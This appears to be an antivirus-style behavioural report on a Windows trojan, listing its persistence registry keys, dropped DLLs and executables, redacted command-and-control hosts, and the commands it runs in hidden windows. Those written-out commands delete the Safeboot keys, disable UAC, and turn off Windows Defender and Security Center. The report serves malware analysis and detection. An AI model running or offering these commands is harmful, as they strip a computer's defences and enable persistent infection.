Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKLM>\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'notepad' = 'rundll32.exe <SYSTEM32>\notepad.dll,_IWMPEvents@0'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'notepad' = 'rundll32.exe %HOMEPATH%\ntload.dll,_IWMPEvents@0'
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'wimmgmnt' = '%HOMEPATH%\winmgmnt.exe'
Creates or modifies the following files
- %APPDATA%\Microsoft\windows\Start Menu\programs\startup\scandisk.dll
- %APPDATA%\microsoft\windows\start menu\programs\startup\scandisk.lnk
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Security Center
- Windows Defender
blocks the following features:
- User Account Control (UAC)
Installs hooks to intercept notifications
on window messages:
- Handler for all processes: %TEMP%\ntload.dll
Modifies settings of Windows Internet Explorer
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1400' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '{A8A88C49-5EB2-4990-A1A2-0876022C854F}' = '{1a,37,61,59,23,52,35,0c,7a,5f,20,17,2f,1e,1a,19,0e,2b,01,73,13,37,13,12...
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '{AEBA21FA-782A-4A90-978D-B72164C80120}' = '{1a,37,61,59,23,52,35,0c,7a,5f,20,17,2f,1e,1a,19,0e,2b,01,73,13,37,13,12...
Modifies file system
Creates the following files
- %TEMP%\ntload.dll
- %WINDIR%\syswow64\notepad.dll
- %HOMEPATH%\ntload.dll
- %HOMEPATH%\winmgmnt.exe
Network activity
Connects to
- 'os##d.com':80
- 'hu###omains.com':443
TCP
HTTP GET requests
- http://os##d.com/new/new.php?su######
- http://os##d.com/new/govno.php
Other
- 'hu###omains.com':443
UDP
- DNS ASK os##d.com
- DNS ASK hu###omains.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\reg.exe' delete HKLM\System\CurrentControlSet\Control\Safeboot /f' (with hidden window)
- '%WINDIR%\syswow64\reg.exe' delete HKLM\System\ControlSet001\Control\Safeboot /f' (with hidden window)
- '%WINDIR%\syswow64\reg.exe' delete HKLM\System\ControlSet002\Control\Safeboot /f' (with hidden window)
- '%WINDIR%\syswow64\reg.exe' ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f' (with hidden window)
- '%WINDIR%\syswow64\reg.exe' ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings /v PrivacyAdvanced /t REG_DWORD /d 1 /f' (with hidden window)
- '%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" /v {A8A88C49-5EB2-4990-A1A2-0876022C854F} /t REG_BINARY /d 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152...' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' interface tcp set global autotuning=disabled' (with hidden window)
- '%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" /v {AEBA21FA-782A-4A90-978D-B72164C80120} /t REG_BINARY /d 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152...' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' config wscsvc start= disabled' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' config WinDefend start= disabled' (with hidden window)
- '%WINDIR%\syswow64\reg.exe' ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v wimmgmnt /t REG_SZ /d "%HOMEPATH%\winmgmnt.exe" /f' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\rundll32.exe' %TEMP%\ntload.dll,_IWMPEvents@0
- '%WINDIR%\syswow64\reg.exe' delete HKLM\System\CurrentControlSet\Control\Safeboot /f
- '%WINDIR%\syswow64\reg.exe' delete HKLM\System\ControlSet001\Control\Safeboot /f
- '%WINDIR%\syswow64\reg.exe' delete HKLM\System\ControlSet002\Control\Safeboot /f
- '%WINDIR%\syswow64\reg.exe' ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings /v PrivacyAdvanced /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" /v {A8A88C49-5EB2-4990-A1A2-0876022C854F} /t REG_BINARY /d 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152...
- '%WINDIR%\syswow64\netsh.exe' interface tcp set global autotuning=disabled
- '%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" /v {AEBA21FA-782A-4A90-978D-B72164C80120} /t REG_BINARY /d 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152...
- '%WINDIR%\syswow64\sc.exe' config wscsvc start= disabled
- '%WINDIR%\syswow64\sc.exe' config WinDefend start= disabled
- '%WINDIR%\syswow64\reg.exe' ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v wimmgmnt /t REG_SZ /d "%HOMEPATH%\winmgmnt.exe" /f